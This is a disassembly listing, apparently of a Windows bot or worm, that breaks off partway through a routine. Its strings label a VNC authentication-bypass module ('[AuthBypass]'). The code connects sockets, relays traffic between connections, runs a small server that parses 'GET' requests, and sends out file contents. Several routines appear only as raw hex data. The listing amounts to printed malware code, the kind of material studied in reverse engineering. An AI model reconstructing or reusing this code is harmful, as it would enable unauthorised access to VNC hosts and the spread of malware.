		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431410[eax]
		push	ebx
		lea	eax, dword_431410[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40E470
; ---------------------------------------------------------------------------


loc_40E467:				; CODE XREF: ___:0040E284j
					; ___:0040E2A9j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40E46E:				; CODE XREF: ___:0040E26Ej
		xor	eax, eax


loc_40E470:				; CODE XREF: ___:0040E465j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E47E:				; CODE XREF: ___:0040E49Aj
					; ___:0040E4B6j
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCB4
		call	dword_4CAF8C
		test	eax, eax
		jle	short loc_40E47E
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CDCB0
		nop
		call	near ptr 2700000h
		jmp	short loc_40E47E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40E4C1:				; CODE XREF: ___:0040E4E7j
					; ___:0040E501j
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CDCA4
		nop
		call	near ptr 2710000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40E4C1
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CDCB4
		call	dword_4CAFC4
		jmp	short loc_40E4C1
; ---------------------------------------------------------------------------
byte_40E503	db 55h			; DATA XREF: sub_401ACD+2D0Do
dword_40E504	dd 0EC81EC8Bh, 11Ch, 5308458Bh,	286A5756h, 8D59F08Bh, 0FFFEE4BDh
		dd 6AA5F3FFh, 5EFF3301h, 98B089h, 106A0000h, 57C8458Dh
		dd 0D05AE850h, 0C4830000h, 45C7660Ch, 0FF0002C8h, 0FFFF68B5h
		dd 7415FFFFh, 6A004CAFh, 26A5606h, 0CA458966h, 0AFF415FFh
		dd 4589004Ch, 0C8458D08h, 0FF50106Ah, 15FF0875h, 4CAFA0h
		dd 75FF056Ah, 9C15FF08h, 8B004CAFh, 4270FC1Dh, 68358B00h
		dd 57004270h, 875FF57h,	0B00815FFh, 0B4A3004Ch,	8D004CDCh
		dd 5057F445h, 4CDCB068h, 0DCAC6800h, 45C7004Ch,	0CF4h
		dd 0FC45C700h, 1, 0FFF87D89h, 0F4458DD3h, 0A8685057h, 68004CDCh
		dd 4CDCA4h, 446AD3FFh, 5784458Dh, 0CFBEE850h, 0ACA10000h
		dd 83004CDCh, 45890CC4h, 0DCA8A1BCh, 4589004Ch,	16A57C0h
		dd 6AC4458Dh, 45C75002h, 4484h,	0B045C700h, 101h, 0B47D8966h
		dd 311F12E8h, 0FF509002h, 4CDCA835h, 1F05E800h,	50900231h
		dd 19E6E890h, 458D0231h, 458D50D8h, 57575084h, 9068h, 0F4458D04h
		dd 8D50016Ah, 6850F445h, 43350Ch, 25CAE857h, 8D900226h
		dd 5750E845h, 0E4B86857h, 458D0040h, 905057F4h,	281DF3E8h
		dd 0EC458902h, 50E8458Dh, 75685757h, 8D0040E4h,	5057F445h
		dd 1DDAE890h, 0FF6A0228h, 0FFF04589h, 8FE8D875h, 9002291Fh
		dd 0F075FF57h, 2925B7E8h, 0FF579002h, 0E890EC75h, 22925ACh
		dd 0FFF075FFh, 0EC75FFD6h, 0FF57D6FFh, 34E8D875h, 90023025h
		dd 0DCAC35FFh, 0D6FF004Ch, 0DCB035FFh, 0D6FF004Ch, 0DCA435FFh
		dd 0D6FF004Ch, 0DCA835FFh, 0D6FF004Ch, 0FFDC75FFh, 0D875FFD6h
		dd 0B0E9D6FFh, 0E9FFFFFEh, 0
; ---------------------------------------------------------------------------
		push	0FFFEh
		push	400h
		call	sub_418684
		pop	ecx
		mov	dword_4CDCBC, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
byte_40E6EF	db 55h			; DATA XREF: sub_40BACD+34Do
		dd 0EC81EC8Bh, 6C0h, 5308458Bh,	276A5756h, 8D59F08Bh, 0FFFF50BDh
		dd 6AA5F3FFh, 5EDB3301h, 98B089h, 106A0000h, 53EC458Dh
		dd 0CE6EE850h, 0C4830000h, 45C7660Ch, 0FF0002ECh, 0FFFF5CB5h
		dd 7415FFFFh, 53004CAFh, 66026A56h, 89EE4589h, 15FFF05Dh
		dd 4CAFF4h, 0CE83F88Bh,	75FE3BFFh, 0E45D3945h, 8D532075h
		dd 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh, 0FF50B5FFh
		dd 0FFE8FFFFh, 83FFFFB2h, 858D14C4h, 0FFFFFD40h, 6A2AE850h
		dd 0B5FF0000h, 0FFFFFF54h, 0FFCC85E8h, 535959FFh, 186AE890h
		dd 858B022Eh, 0FFFFFF54h, 0C069106Ah, 234h, 0DEBCB889h
		dd 458D0043h, 0FF5750ECh, 4CAFA015h, 0BBC63B00h, 400h
		dd 0CF850Fh, 15FF0000h,	4CAF08h, 27403Dh, 33477400h, 0E47539F6h
		dd 8D562075h, 0FFFD4085h, 0E075FFFFh, 60858D50h, 50FFFFFFh
		dd 0FF50B5FFh, 7FE8FFFFh, 83FFFFB2h, 858D14C4h,	0FFFFFD40h
		dd 69AAE850h, 0B5FF0000h, 0FFFFFF54h, 0FFCC05E8h, 565959FFh
		dd 17EAE890h, 0FE68022Eh, 530000FFh, 9E63E8h, 0BCA35900h
		dd 59004CDCh, 0EE458966h, 6AEC458Dh, 0FF575010h, 4CAFA015h
		dd 75C63B00h, 815FF54h,	33004CAFh, 0E47539F6h, 403D2775h
		dd 74000027h, 858D5620h, 0FFFFFD40h, 50E075FFh,	0FF60858Dh
		dd 0FF50FFFFh, 0FFFF50B5h, 0B204E8FFh, 0C483FFFFh, 40858D14h
		dd 50FFFFFDh, 692FE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFCB8Ah
		dd 0E8565959h, 22E1770h, 57056A90h, 0AF9C15FFh,	0C63B004Ch
		dd 0D4840Fh, 45C70000h,	10FCh, 9108BE00h, 458D0042h, 858D50FCh
		dd 0FFFFFF40h, 15FF5750h, 4CB008h, 89FFF883h, 0E6740845h
		dd 0E47D83h, 6A2175h, 0FD40858Dh, 75FFFFFFh, 858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB186h, 8D14C483h
		dd 0FFFD4085h, 0B1E850FFh, 59000068h, 0FD40858Dh, 6AFFFFh
		dd 20068h, 75FF5000h, 8C15FF08h, 83004CAFh, 9674FFF8h
		dd 35FF5656h, 4CACB0h, 0FF50B5FFh, 0E4E8FFFFh, 59FFFFC2h
		dd 35146850h, 858D0043h, 0FFFFF940h, 41E85053h,	830000D0h
		dd 858D1CC4h, 0FFFFF940h, 0E850006Ah, 0C690h, 858D5059h
		dd 0FFFFF940h, 875FF50h, 0AFC415FFh, 0F883004Ch, 43840FFFh
		dd 0FFFFFFFFh, 4CDCC405h, 0FF38E900h, 0FF57FFFFh, 4CB00C15h
		dd 54B5FF00h, 0E8FFFFFFh, 0FFFFCA8Ah, 90006A59h, 2E166FE8h
		db 2
byte_40E991	db 55h,	8Bh, 0ECh	; DATA XREF: sub_40BACD+22Ao
		dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah,	8B000000h
		dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh
		dd 1016850h, 5D890000h,	0D45D89E4h, 89DC5D89h, 0FFFDD4B5h
		dd 0C4B589FFh, 0E8FFFFFBh, 716A57FAh, 6A535690h, 37E89002h
		dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh
		dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh
		dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h,	716A2B36h
		dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h
		dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h,	716A5482h
		dd 77DC085h, 60E9C38Bh,	6A000005h, 0E890570Ah, 716A7382h
		dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh
		dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h
		dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h
		dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h,	0C57C087Dh
		dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h
		dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h
		dd 0E85750FFh, 17C76h, 840FC085h, 4BAh,	75F87D3Bh, 0F0458D7Ah
		dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h
		dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h
		dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h
		dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh
		dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h
		dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh,	56000004h
		dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h
		dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh
		dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah,	8D848D1Bh
		dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h
		dd 0EC72CA3Bh, 0FDD48DFFh, 0E857FFFFh, 716A2EA5h, 3D4E990h
		dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh,	0FD60858Dh
		dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh
		dd 4337CCh, 0D472E850h,	0C4830000h, 75C08518h, 166A560Dh
		dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h
		dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h
		dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch
		dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh
		dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h
		dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh,	43375Ch
		dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h,	43373Ch
		dd 2F1E957h, 34BF0000h,	8D004337h, 0FFFF5085h, 0E85057FFh
		dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h
		dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh,	43371C68h
		dd 2B2E900h, 858D0000h,	0FFFFFF50h, 8DE85057h, 590000D3h
		dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h
		dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h
		dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h
		dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h
		dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h,	50FFFFFEh
		dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh
		dd 50004336h, 0D307E8h,	0C0855900h, 6A2A7559h, 36B0BE05h
		dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h,	0FFFFFF38h
		dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh,	50858DB2h
		dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h
		dd 0B6h, 0FD2C858Dh, 8D50FFFFh,	0FFFF0485h, 458D50FFh
		dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h
		dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h,	8AE850FFh
		dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h
		dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h,	858D34C4h
		dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h,	6A0000CAh
		dd 4858D10h, 56FFFFFFh,	0CF8FE850h, 0C4830000h,	0F445891Ch
		dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh
		dd 43366Ch, 0CA2CE850h,	0C4830000h, 1D6A5618h, 43364C68h
		dd 11EE900h, 858D0000h,	0FFFFFF50h, 43364468h, 0F5E85000h
		dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h
		dd 875FF00h, 75FFD3FFh,	0C4458DF4h, 120E850h, 83590000h
		dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h
		dd 4335FCh, 0C9C8E850h,	0C4830000h, 0BCB5390Ch,	75FFFFFBh
		dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h
		dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h
		dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h
		dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh,	0E8500043h
		dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh
		dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh
		dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h,	6256E850h
		dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h
		dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h
		dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h
		dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h
		dd 7D89FC7Dh, 18E0F08h,	0E9FFFFFBh, 0FFFFFAC1h,	5F58016Ah
		dd 0C2C95B5Eh
		db 4, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		push	dword ptr [ebp+8]
		mov	dword_4CDCC8, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		call	near ptr 71AB1746h
		nop
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F036
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40F036:				; CODE XREF: ___:0040F01Ej
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40F0D2
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40F0B6
		push	edi
		mov	edi, 400h


loc_40F07E:				; CODE XREF: ___:0040F0B3j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B11A
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1AF4h
		push	1
		nop
		call	near ptr 26903FCh
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40F07E
		pop	edi


loc_40F0B6:				; CODE XREF: ___:0040F076j
		push	esi
		call	sub_41B05B
		pop	ecx
		push	dword_4CDCC8
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		push	1
		pop	eax


loc_40F0D2:				; CODE XREF: ___:0040F070j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F0D5	proc near		; DATA XREF: sub_401ACD+2283o
					; sub_40BACD+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CAF74
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40F4C0
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43DEBC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CAFA0
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		push	7FFFFFFFh
		push	edi
		call	dword_4CAF9C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CB010
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4C0
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40F1AC:				; CODE XREF: sub_40F0D5+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CAF5C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4BB
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40F1E2:				; CODE XREF: sub_40F0D5+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CAE60
		test	eax, eax
		jz	loc_40F4A6
		cmp	esi, [ebp+var_C]
		jnz	short loc_40F264
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		jz	loc_40F4A6
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F236
		lea	edx, [ebp+var_134]


loc_40F22A:				; CODE XREF: sub_40F0D5+15Fj
		cmp	[edx], eax
		jz	short loc_40F236
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40F22A


loc_40F236:				; CODE XREF: sub_40F0D5+14Dj
					; sub_40F0D5+157j
		cmp	ecx, ebx
		jnz	short loc_40F253
		cmp	ebx, 40h
		jnb	short loc_40F253
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40F253:				; CODE XREF: sub_40F0D5+163j
					; sub_40F0D5+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40F4A6
		mov	[ebp+var_8], eax
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F264:				; CODE XREF: sub_40F0D5+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CAF8C
		test	eax, eax
		jg	short loc_40F2F7
		push	esi
		call	dword_4CB00C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40F4A6
		lea	eax, [ebp+var_134]


loc_40F2B6:				; CODE XREF: sub_40F0D5+1EBj
		cmp	[eax], esi
		jz	short loc_40F2C7
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F2B6
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2C7:				; CODE XREF: sub_40F0D5+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F2EB
		lea	eax, [ebp+ecx*4+var_134]


loc_40F2D5:				; CODE XREF: sub_40F0D5+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F2D5


loc_40F2EB:				; CODE XREF: sub_40F0D5+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F2F7:				; CODE XREF: sub_40F0D5+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40F4A6


loc_40F325:				; CODE XREF: sub_40F0D5+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40F3CA
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F39E
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41AFE0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40F39E
		mov	eax, offset asc_42CA2C ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C0F4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41BEB0
		add	esp, 10h
		jmp	short loc_40F3B5
; ---------------------------------------------------------------------------


loc_40F39E:				; CODE XREF: sub_40F0D5+27Fj
					; sub_40F0D5+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_43381C ; "\r\n"
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F3E9


loc_40F3B5:				; CODE XREF: sub_40F0D5+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40F3CA:				; CODE XREF: sub_40F0D5+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41AFE0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40F325
		jmp	loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F3E9:				; CODE XREF: sub_40F0D5+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40F433
		lea	eax, [ebp+var_134]


loc_40F3F5:				; CODE XREF: sub_40F0D5+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40F406
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40F3F5
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F406:				; CODE XREF: sub_40F0D5+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40F42A
		lea	eax, [ebp+ecx*4+var_134]


loc_40F414:				; CODE XREF: sub_40F0D5+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40F414


loc_40F42A:				; CODE XREF: sub_40F0D5+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40F436
; ---------------------------------------------------------------------------


loc_40F433:				; CODE XREF: sub_40F0D5+318j
		mov	esi, [ebp+var_4]


loc_40F436:				; CODE XREF: sub_40F0D5+32Fj
					; sub_40F0D5+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40F49F
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40F49F
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CB010
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_40F6B3
		add	esp, 14h
		jmp	short loc_40F4A6
; ---------------------------------------------------------------------------


loc_40F49F:				; CODE XREF: sub_40F0D5+369j
					; sub_40F0D5+38Fj
		push	esi
		call	dword_4CB00C


loc_40F4A6:				; CODE XREF: sub_40F0D5+11Dj
					; sub_40F0D5+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40F1E2
		jmp	loc_40F1AC
; ---------------------------------------------------------------------------


loc_40F4BB:				; CODE XREF: sub_40F0D5+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40F4C0:				; CODE XREF: sub_40F0D5+6Aj
					; sub_40F0D5+92j ...
		call	dword_4CAF08
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4337F4
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40F506
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409A72
		add	esp, 14h


loc_40F506:				; CODE XREF: sub_40F0D5+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4CB00C
		push	[ebp+var_254]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx
sub_40F0D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F530	proc near		; DATA XREF: sub_40F6B3+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41B886
